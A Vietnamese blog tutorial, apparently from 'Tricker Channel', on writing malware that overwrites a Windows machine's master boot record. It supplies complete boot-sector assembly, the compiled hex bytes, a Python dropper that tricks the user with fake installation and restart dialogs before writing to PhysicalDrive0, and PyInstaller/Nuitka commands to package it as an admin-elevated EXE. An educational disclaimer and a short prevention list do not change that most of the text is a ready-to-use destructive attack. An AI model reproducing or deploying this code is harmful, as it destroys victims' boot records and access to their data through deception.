Đây là một chủ đề “khá nhạy cảm” và “nguy hiểm” và mình muốn khẳng định rằng mình không khuyến khích hoặc ủng hộ việc viết mã độc hoặc bất kỳ hành vi vi phạm pháp luật nào. Tuy nhiên, để hiểu được cách thức hoạt động của mã độc và bảo vệ chính mình khỏi nó, mình đã tìm hiểu về nó. Trong bài viết này, mình sẽ chia sẻ với bạn về cách mà mình đã tạo ra một đoạn mã độc và sử dụng nó để phá huỷ dữ liệu trên ổ cứng chỉ với 1 tập lệnh Python.
Tricker Channel hy vọng rằng bài viết này sẽ giúp bạn hiểu rõ hơn về cách thức hoạt động của mã độc và cách bảo vệ chính mình khỏi nó. Mình sẽ chia sẻ cách tạo ra một phần mềm độc hại MBR. Trước khi vào vấn đề đó mình sẽ nói qua khái niệm về MBR và cách hoạt động của nó.
Lưu ý
Bài viết chỉ mang tính chất giáo dục, nghiên cứu về mã độc, vui lòng không thực hiện các cuộc tấn công phạm pháp nào. Tricker Channel không chịu toàn bộ trách nhiệm mà bạn đã gây ra !
MBR là gì ? Cách hoạt động của MBR
Mã độc MBR phá hủy ổ cứng như thế nào?
- Ngôn ngữ lập trình Assembler: đây là một ngôn ngữ lập trình gần với ngôn ngữ máy và cung cấp một phương tiện để lập trình trực tiếp các lệnh máy tính. Nó cung cấp các lệnh khá đơn giản về việc thực hiện các tác vụ cơ bản như tính toán, lưu trữ và điều khiển và mình thường thấy các lập trình viên dùng ngôn ngữ này để viết ra các phần mềm yêu cầu xử lý tốc độ nhanh.
- Qemu: là chương trình mô phỏng hệ thống (System Emulator) miễn phí và mã nguồn mở, cho phép người dùng chạy các hệ điều hành và phần mềm trong một môi trường ảo trên các nền tảng khác nhau. Nó mô phỏng một loạt các kiến trúc máy tính bao gồm các CPU phổ biến như x86, ARM, PowerPC, SPARC, và MIPS, cũng như các hệ điều hành như MacOS, Windows, và Linux.
- Netwide Assembler: Viết tắt là “NASM” là một trình dịch ngược mã (Assembler) mã nguồn mở, được sử dụng để chuyển đổi mã assembly (ngôn ngữ lập trình gần với ngôn ngữ máy như mình đã nói ở trên) thành mã máy. NASM hỗ trợ nhiều kiến trúc máy tính, bao gồm các kiến trúc phổ biến như x86 và x86-64 (bao gồm cả 32-bit và 64-bit), ARM, PowerPC,…. Nó được sử dụng trong nhiều dự án phần mềm mã nguồn mở, bao gồm các hệ điều hành như Linux và FreeBSD, và các công cụ và ứng dụng như bootloader và các ứng dụng mã hóa.
- Ngôn ngữ lập trình Python: Đây là một ngôn ngữ lập trình khá nhiều anh em được biết và được học rồi nhỉ, được biết Python nổi tiếng về cú pháp đơn giản, dễ đọc, dễ hiểu, và dễ học. Hiện tại Python đang được phát triển và được dạy trong chương trình THPT. Python là ngôn ngữ lập trình thông dịch, được sử dụng rộng rãi trong nhiều lĩnh vực khác nhau. Và đó cũng là lí do mình lựa chọn Python để viết ra mã độc MBR nhằm dễ đọc và dễ hiểu hơn.
Bước 1: Tạo tệp boot.asm và biên dịch sang mã hex độc
org 0x7c00
bits 16
start:
call cls
mov bx, display
print:
mov al, [bx]
cmp al, 0
je halt
call print_char
inc bx
jmp print
print_char:
mov ah, 0x0e
int 0x10
ret
halt:
ret
cls:
mov ah, 0x07
mov al, 0x00
mov bh, 0x02
mov cx, 0x00
mov dx, 0x184f
int 0x10
ret
display db "We are Tricker Channel, I am Hakcer", 13, 10, "You have been hacked !", 13, 10, 0
times 510 - ($ - $$) db 0
dw 0xaa55
Đoạn code trên là một chương trình boot loader, được tạo ra để chạy trên một máy tính x86 sau khi khởi động. Bây giờ chúng mình hãy cùng đi vào từng đoạn code để hiểu rõ hơn nha:
org 0x7c00
chỉ định vị trí lưu trữ của chương trình khi nó được nạp vào bộ nhớ, và địa chỉ này được xác định là 0x7c00
. Dòng thứ 2 chính là bits 16
chỉ định rằng chương trình này sẽ được biên dịch và chạy trên kiến trúc 16Bit.org 0x7c00
bits 16
start
và thực hiện các lệnh. Lệnh đầu tiên gọi hàm cls để xóa màn hình. Lệnh thứ hai đưa địa chỉ của chuỗi display
vào thanh ghi bx
start:
call cls
mov bx, display
display
. Mỗi lần lặp lại, nó đọc một ký tự từ chuỗi display
và gọi hàm print_char
để in ký tự đó ra màn hình. Sau đó, nó tăng giá trị của thanh ghi bx
để trỏ đến ký tự tiếp theo trong chuỗi display
và lặp lại quá trình này.print:
mov al, [bx]
cmp al, 0
je halt
call print_char
inc bx
jmp print
print_char
đặt giá trị 0x0e
vào thanh ghi ah
, sau đó gọi trình ngắt 0x10
để hiển thị ký tự tương ứng với thanh ghi al
lên màn hình. Tiếp đến, nó sẽ trả về ngay lập tức.print_char:
mov ah, 0x0e
int 0x10
ret
halt
chỉ đơn giản là trả về ngay lập tức.halt:
ret
cls
là một hàm để xóa màn hìnhmov ah, 0x07
: Di chuyển giá trị 0x07
vào thanh ghi ah
, là mã hàm ẩn bảng ký tự của BIOS để xoá màn hình.mov al, 0x00
: Di chuyển giá trị 0x00
vào thanh ghi al
, là thông số mặc định để xoá màn hình.mov bh, 0x02
: Di chuyển giá trị 0x02
vào thanh ghi bh
, là mã màu sắc của ký tự trên màn hình console.Trong trường hợp này, màu sắc được chọn là màu xanh lá cây được biểu thị bằng mã nhị phân. Bạn có thể xem các danh sách màu chữ của BIOS tại đây.mov cx, 0x00
: Di chuyển giá trị 0x00
vào thanh ghi cx
, là số lần hiển thị để xoá màn hình.mov dx, 0x184f
: Di chuyển giá trị 0x184f
vào thanh ghi dx
, là tọa độ bắt đầu xoá màn hình với x = 0 và y =0int 0x10
: Gọi hàm ngắt số 0x10
, là hàm giao tiếp với phần cứng video của máy tínhret
: Trả về hàm và quay trở lại nơi gọi hàm.cls:
mov ah, 0x07
mov al, 0x00
mov bh, 0x02
mov cx, 0x00
mov dx, 0x184f
int 0x10
ret
display
là tên biến, db
là instruction để định nghĩa một chuỗi byte.
Chuỗi được định nghĩa bao gồm: "We are Tricker Channel, I am Hacker", 13, 10, "You have been hacked !", 13, 10, 0
và bạn cũng có thể thay đổi lời nhắn tùy ý nhé"We are Tricker Channel, I am Hacker"
là một chuỗi ký tự, trong trường hợp này là thông điệp được hiển thị trên màn hình13
và 10
lần lượt là các ký tự ASCII tương ứng với các ký tự xuống dòng và lùi về đầu dòng (Carriage Return và Line Feed).
"You have been hacked !"
là thông điệp tiếp theo được hiển thị trên màn hình. 0
là ký tự kết thúc chuỗi.times 510 - ($ - $$) db 0
sử dụng lệnh times
để bổ sung các byte giá trị 0 vào phần còn thiếu của boot sector (tính từ đầu cho tới vị trí 510).dw 0xaa55
giá trị kết thúc của boot sector là 0xAA55
, giá trị này sẽ được BIOS sử dụng để kiểm tra tính hợp lệ của boot sector trước khi nạp vào bộ nhớ và thực thidisplay db "We are Tricker Channel, I am Hacker", 13, 10, "You have been hacked !", 13, 10, 0
times 510 - ($ - $$) db 0
dw 0xaa55
Cách hoạt động của chương trình phá hủy MBR ổ cứng trên như sau:
org 0x7c00
để xác định địa chỉ bắt đầu của chương trình, tức là địa chỉ 0x7c00
. Tiếp đến sử dụng bits 16
để chỉ định kiểu bit được sử dụng.start
và gọi hàm cls
để xóa màn hình và di chuyển con trỏ về địa chỉ đầu tiên của chuỗi display
bằng cách di chuyển địa chỉ của chuỗi vào thanh ghi bx
display
bằng cách gọi hàm print_char
. Nếu ký tự là ký tự null (0), vòng lặp sẽ dừng lại và chương trình sẽ gọi hàm halt
để kết thúc chương trình. Nếu không, con trỏ sẽ được di chuyển sang ký tự tiếp theo trong chuỗi bằng cách tăng giá trị của thanh ghi bx
và chương trình sẽ tiếp tục in ký tự tiếp theo.print_char
sử dụng lệnh int 0x10
để gọi dịch vụ hệ thống của BIOS để in một ký tự lên màn hình. Trong hàm này, chương trình truyền giá trị của thanh ghi al
vào thanh ghi ah
và sau đó gọi lệnh int 0x10
để in ký tự lên màn hình.cls
cũng sử dụng lệnh int 0x10
để gọi dịch vụ hệ thống của BIOS để xóa màn hình. Trong hàm này, chương trình thiết lập các thanh ghi để định dạng của việc xóa màn hình và sau đó gọi lệnh int 0x10
để xóa màn hình.times 510 - ($ - $$) db 0
được sử dụng để đảm bảo rằng kích thước của chương trình sẽ là chính xác 512 byte và dw 0xaa55
được sử dụng để đánh dấu kí tự cuối của một sector bootable.Để biên dịch được sang mã hex độc và thực thi nó mình đã làm như sau:
import binascii
with open("boot.bin", "rb") as f:
binary_data = f.read()
hex_values = ["0x{:02X}".format(byte) for byte in binary_data]
print(hex_values)
hex_string = ", ".join(hex_values)
print(hex_string)
Bước 2: Đính kèm mã hex độc và biên dịch sang EXE
pip install pywin32
.Với module này giúp mình làm việc với các tài nguyên Windows như các tệp, thư mục, tiến trình, ứng dụng, COM objects, registry, service,…Không chỉ vậy, nó còn thực hiện các tác vụ liên quan đến Windows, bao gồm cả việc sử dụng các API của Windows thông qua các đối tượng Python. Mình sẽ gọi các module con của Pywin32 bao gồm win32file, win32api, win32gui, win32ui và win32con và import tất cả những gì của module vào. Còn module time mình dùng để “thao túng tâm lý” nạn nhân thôi :>from win32file import *
from win32api import *
from win32gui import *
from win32con import *
from win32ui import *
from time import sleep
ma_doc = bytes([
# paste đoạn code dữ liệu hex tại đây
])
def run_mbr():
while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'Anonyviet',MB_YESNO) == IDNO:
continue
sleep(3)
if MessageBox('Đã cài đặt hoàn tất \nVui lòng khởi động lại máy để phần mềm được làm mới !', "Anonyviet"):
pass
anonyviet = CreateFileW(r"\\.\PhysicalDrive0",
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
None, OPEN_EXISTING, 0, 0)
WriteFile(anonyviet, ma_doc, None)
CloseHandle(anonyviet)
run_mbr()
sleep(3)
để đợi người dùng có thể đọc thông báo hoàn tất. Tiếp theo, một hộp thoại MessageBox khác xuất hiện với thông điệp yêu cầu người dùng khởi động lại máy tính để phần mềm được cập nhật. Nếu người dùng nhấn OK, chương trình sẽ tiếp tục thực thi bước tiếp theo. Với chuỗi đầu tiên trong MessageBox đó là Bấm "Yes" để tiếp tục cài đặt
Đây là chuỗi hiện lên thông báo văn bản trên hộp thoại, tiếp đến đó là chuỗi 'Anonyviet'
đây là chuỗi hiện thị tên hộp thoại và cuối cùng đó là MB_YESNO
đây là một phương thức gọi hộp thoại YES NO của win32gui
GENERIC_WRITE
chỉ định rằng file handle này sẽ được sử dụng để ghi dữ liệu vào ổ đĩa. Tham số FILE_SHARE_READ
và FILE_SHARE_WRITE
cho phép các tiến trình khác có thể đọc và ghi vào thiết bị. Tham số None
chỉ định rằng không có thuộc tính bảo mật nào được sử dụng cho file handle. Tham số OPEN_EXISTING
chỉ định rằng file handle được tạo sẽ trỏ tới một file đã tồn tại. Tham số cuối cùng là các flag khác và ở đây được đặt là 0.WriteFile()
của Windows API để ghi dữ liệu được lưu trong biến ma_doc
(chứa mã độc MBR) vào ổ đĩa vật lý đã được mở file handle (anonyviet
). Tiếp đến là hàm CloseHandle()
hàm này đóng file handle (anonyviet
) đã được mở trước đó. Việc đóng file handle giúp giải phóng tài nguyên và ngăn chặn việc các tiến trình khác ghi vào thiết bị.from win32file import *
from win32api import *
from win32gui import *
from win32con import *
from win32ui import *
from time import sleep
ma_doc = bytes([
# paste đoạn code dữ liệu hex tại đây
0xE8, 0x15, 0x00, 0xBB, 0x27, 0x7C, 0x8A, 0x07, 0x3C, 0x00, 0x74, 0x0B, 0xE8, 0x03, 0x00, 0x43, 0xEB, 0xF4,
0xB4, 0x0E, 0xCD, 0x10, 0xC3, 0xC3, 0xB4, 0x07, 0xB0, 0x00, 0xB7, 0x02, 0xB9, 0x00, 0x00, 0xBA, 0x4F, 0x18,
0xCD, 0x10, 0xC3, 0x57, 0x65, 0x20, 0x61, 0x72, 0x65, 0x20, 0x41, 0x6E, 0x6F, 0x6E, 0x79, 0x76, 0x69, 0x65,
0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2C, 0x20, 0x49, 0x20, 0x61, 0x6D, 0x20, 0x48, 0x65, 0x76, 0x69, 0x6E, 0x0D,
0x0A, 0x59, 0x6F, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x62, 0x65, 0x65, 0x6E, 0x20, 0x68, 0x61, 0x63,
0x6B, 0x65, 0x64, 0x20, 0x21, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
])
def run_mbr():
while MessageBox('Bấm "Yes để tiếp tục cài đặt" ', 'Anonyviet',MB_YESNO) == IDNO:
continue
sleep(3)
if MessageBox('Đã cài đặt hoàn tất \nVui lòng khởi động lại máy để phần mềm được làm mới !', "Anonyviet"):
pass
anonyviet = CreateFileW(r"\\.\PhysicalDrive0",
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
None, OPEN_EXISTING, 0, 0)
WriteFile(anonyviet, ma_doc, None)
CloseHandle(anonyviet)
run_mbr()
pyinstaller --onefile --uac-admin -w FileMaDocMBRcuaBan.py
nuitka --onefile --windows-uac-admin --mingw64 --disable-console FileMaDocMBRcuaBan.py
Cách phòng chống mã độc MBR:
- Sử dụng phần mềm diệt virus và cập nhật thường xuyên: Cài đặt phần mềm diệt virus trên máy tính của bạn và cập nhật thường xuyên để bảo vệ máy tính của bạn khỏi các mã độc MBR mới nhất.
- Không tải xuống và cài đặt phần mềm từ các nguồn không rõ nguồn gốc: Tránh tải xuống và cài đặt phần mềm từ các trang web không rõ nguồn gốc, vì chúng có thể chứa mã độc MBR.
- Không mở email hoặc tải xuống các tập tin từ các nguồn không rõ nguồn gốc: Mở email và tải xuống tập tin từ các nguồn không rõ nguồn gốc có thể dẫn đến sự lây lan của mã độc MBR
- Sử dụng Firewall: Cài đặt tường lửa (Firewall) để bảo vệ máy tính của bạn khỏi các cuộc tấn công mạng.
- Sử dụng phần mềm Anti-Rootkit: Cài đặt phần mềm Anti-Rootkit, nó sẽ giúp phát hiện và loại bỏ mã độc MBR.
- Sử dụng mật khẩu truy cập: Sử dụng mật khẩu để bảo vệ BIOS và MBR khỏi các tấn công truy cập trái phép.
- Không để ổ đĩa cứng trống trải: Nếu ổ đĩa cứng của bạn trống trải, các hacker có thể sử dụng để lưu trữ mã độc MBR.
- Sử dụng phần mềm Backup: Sử dụng phần mềm Backup để sao lưu dữ liệu quan trọng và ổ đĩa cứng, nếu có bất kỳ điều gì xảy ra thì bạn có thể phục hồi lại dữ liệu của mình.
Cách giải quyết khi bị nhiễm mã độc MBR trên Windows:
Facebook: Dịch Vụ Mạng Xã Hội Đà Nẵng
Zalo: Dịch Vụ Đà Nẵng
Phone: 0333.110304
Gmail: mxhdn.xyz@gmail.com
Thanh toán: Ngân hàng, thẻ cào siêu rẻ, Momo, ViettelPay, card + 35% phí,...